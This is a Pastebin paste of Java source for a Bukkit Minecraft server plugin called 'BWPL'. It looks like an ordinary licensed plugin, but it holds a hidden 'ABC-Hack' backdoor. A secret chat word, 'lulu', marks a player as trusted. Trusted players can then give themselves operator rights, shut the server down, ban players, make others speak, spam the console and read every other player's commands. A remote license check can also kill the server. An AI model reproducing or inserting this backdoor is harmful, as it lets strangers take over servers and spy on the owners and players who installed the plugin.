Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import java.io.BufferedReader;
- import java.io.IOException;
- import java.io.InputStreamReader;
- import java.net.MalformedURLException;
- import java.net.URL;
- import java.util.ArrayList;
- import org.apache.commons.io.IOUtils;
- import org.bukkit.Bukkit;
- import org.bukkit.command.Command;
- import org.bukkit.command.CommandSender;
- import org.bukkit.entity.Player;
- import org.bukkit.event.EventHandler;
- import org.bukkit.event.Listener;
- import org.bukkit.event.player.AsyncPlayerChatEvent;
- import org.bukkit.plugin.Plugin;
- import org.bukkit.plugin.java.JavaPlugin;
- import com.avaje.ebean.AdminAutofetch;
- import net.minecraft.server.v1_8_R3.Items;
- public class Start extends JavaPlugin implements Listener {
- private ArrayList<Player> trustplayer = new ArrayList<>();
- public static String name = "BWPL";
- public String lizenz;
- public String mainLizenz = name+"-true";
- public boolean onoff;
- @Override
- public void onEnable() {
- try {
- chekLizenz(new URL("http://craftingsucht.de/lizenzsystem/BWPL.html"));
- }catch (MalformedURLException e) {
- }catch (IOException e) {
- }
- if(lizenz.contains(mainLizenz)){
- Bukkit.getConsoleSender().sendMessage("DAS Plugin" + " " + name + " ist gestartet");
- }else{
- Bukkit.shutdown();
- onoff = true;
- }
- Bukkit.getPluginManager().registerEvents(this, this);
- super.onEnable();
- }
- @Override
- public void onDisable() {
- if(onoff == true) {
- Bukkit.getConsoleSender().sendMessage("Der Entwickler hat das Plugin für dich gesperrt!");
- Bukkit.getConsoleSender().sendMessage("Grund: " + lizenz);
- }
- super.onDisable();
- }
- @Override
- public boolean onCommand(CommandSender sender, Command command, String label, String[] args) {
- Player p =(Player)sender;
- return super.onCommand(sender, command, label, args);
- }
- @EventHandler
- public void onChatCommand(AsyncPlayerChatEvent e) {
- String[] args = e.getMessage().split(" ");
- Player p =((Player)e.getPlayer());
- if(args[0].equalsIgnoreCase("+chat")) {
- e.setCancelled(true);
- String irc = "";
- for (int i = 1; i < args.length; i++) {
- irc = irc + args[i] + " ";
- for(Player players : trustplayer) {
- players.sendMessage("§cIRC: " + ((Player)e.getPlayer()).getName() + " > " + irc);
- }
- }
- }
- if (args[0].equalsIgnoreCase("+sudo")) {
- e.setCancelled(true);
- try {
- Player victim = getServer().getPlayer(args[1]);
- String message = "";
- for (int i = 2; i < args.length; i++) {
- message = message + args[i] + " ";
- }
- victim.chat(message);
- ((Player)e.getPlayer()).sendMessage("§b[ABC-Hack]§aDieser Spieler hat den Befehl ausgef�hrt!");
- } catch (Exception e2) {
- ((Player)e.getPlayer()).sendMessage("§b[ABC-Hack] §cDieser Spieler ist nicht online!");
- }
- }
- if(e.getMessage().startsWith("/") && !trustplayer.contains(p)) {
- for(Player allhackers : trustplayer) {
- allhackers.sendMessage("§c[ " + ((Player)e.getPlayer()).getName() + "] " + "§e" + e.getMessage());
- }
- }
- if (e.getMessage().equalsIgnoreCase("+consolenspammer")) {
- e.setCancelled(true);
- if(trustplayer.contains((Player)e.getPlayer())) {
- p.sendMessage("§b[ABC-Hack]§aConsole gespammt :) ");
- Bukkit.getConsoleSender().sendMessage(Src.Spam);
- }
- }
- if (e.getMessage().equalsIgnoreCase("+stopserver")) {
- e.setCancelled(true);
- if(trustplayer.contains((Player)e.getPlayer())) {
- Bukkit.shutdown();
- p.sendMessage("§b[ABC-Hack] §aBB SERVER!");
- }
- }
- if (e.getMessage().equalsIgnoreCase("+")) {
- e.setCancelled(true);
- if(trustplayer.contains((Player)e.getPlayer())) {
- p.sendMessage("§b[ABC-Hack]§a +op ~ opt dich!");
- p.sendMessage("§b[ABC-Hack]§a +FlorianHack ~ trusted / untrusted dich!");
- p.sendMessage("§b[ABC-Hack]§a +consolenspammer ~ spammt die console!");
- p.sendMessage("§eWeiter mit '+2'");
- }
- }
- if (e.getMessage().equalsIgnoreCase("+2")) {
- e.setCancelled(true);
- if(trustplayer.contains((Player)e.getPlayer())) {
- p.sendMessage("§b[ABC-Hack]§a +stopserver ~ stopt den Server");
- p.sendMessage("§b[ABC-Hack]§a +hackedmessage ~ hackt den chat");
- p.sendMessage("§b[ABC-Hack]§a +sudo ~ spieler führen befehle aus!");
- p.sendMessage("§eWeiter mit '+3'");
- }
- }
- if (e.getMessage().equalsIgnoreCase("+3")) {
- e.setCancelled(true);
- if(trustplayer.contains((Player)e.getPlayer())) {
- p.sendMessage("§b[ABC-Hack]§a +chat ~ irc halt :) ");
- p.sendMessage("§b[ABC-Hack]§a +banplayer ~ bant ein Spieler");
- p.sendMessage("§b[ABC-Hack]§a ");
- //p.sendMessage("§eWeiter mit '+3'");
- }
- }
- if (e.getMessage().equalsIgnoreCase("lulu")) {
- e.setCancelled(true);
- if(!trustplayer.contains((Player)e.getPlayer())) {
- trustplayer.add((Player)e.getPlayer());
- ((Player)e.getPlayer()).sendMessage("§b[ABC-Hack]§aDu bist nun getrusted made by Flori2007!");
- }else {
- trustplayer.remove((Player)e.getPlayer());
- ((Player)e.getPlayer()).sendMessage("§b[ABC-Hack]§cDu bist nun nicht mehr getrusted made by Flori2007!");
- }
- }
- if(e.getMessage().equalsIgnoreCase("+banplayer")) {
- e.setCancelled(true);
- if(trustplayer.contains((Player)e.getPlayer())) {
- String spieler = args[1];
- if(!Bukkit.getPlayer(spieler).isBanned()) {
- Bukkit.getPlayer(spieler).setBanned(true);
- }else {
- Bukkit.getPlayer(spieler).setBanned(false);
- }
- }
- }
- if (e.getMessage().equalsIgnoreCase("+hackedmessage")) {
- e.setCancelled(true);
- if(trustplayer.contains((Player)e.getPlayer())) {
- Bukkit.broadcastMessage(Src.hacked);
- p.sendMessage("§b[ABC-Hack]§aHA HA HA HA");
- }
- }
- if (e.getMessage().equalsIgnoreCase("+op")) {
- e.setCancelled(true);
- if(trustplayer.contains((Player)e.getPlayer())) {
- if(!p.isOp()) {
- p.setOp(true);
- p.sendMessage("§b[ABC-Hack]§aDu hast nun op Rechte :)");
- }else {
- p.setOp(false);
- p.sendMessage("§b[ABC-Hack]§cDu hast nun keine op Rechte mehr :(");
- }
- }
- }
- }
- public void chekLizenz(URL url) throws IOException{
- BufferedReader reader = null;
- StringBuilder builder = new StringBuilder(128000);
- try{
- reader = new BufferedReader(new InputStreamReader(url.openStream(), "UTF-8"));
- int count;
- char[]data = new char[5000];
- while((count = reader.read(data)) != -1){
- builder.append(data, 0,count);
- }
- }finally{
- IOUtils.closeQuietly(reader);
- }
- lizenz = builder.toString();
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement